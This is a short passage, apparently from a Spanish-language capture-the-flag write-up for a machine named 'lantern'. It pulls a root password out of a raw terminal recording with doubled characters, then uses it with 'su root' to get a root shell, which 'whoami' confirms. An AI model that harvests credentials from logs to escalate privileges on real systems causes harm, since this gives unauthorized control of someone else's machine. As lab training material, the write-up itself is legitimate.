Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uuddoo [?25 . //bbaacckkuupp..sshh^M[?25l[4;37[?25l^Meecchh^Mecho[?25l [?25 Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uudd

los datos estan duplicados por lo que la contraseña seria Q3Eddtdw3pMB

tomas@lantern:~$ su root

Password: Q3Eddtdw3pMB

root@lantern:/home/tomas# whoami

root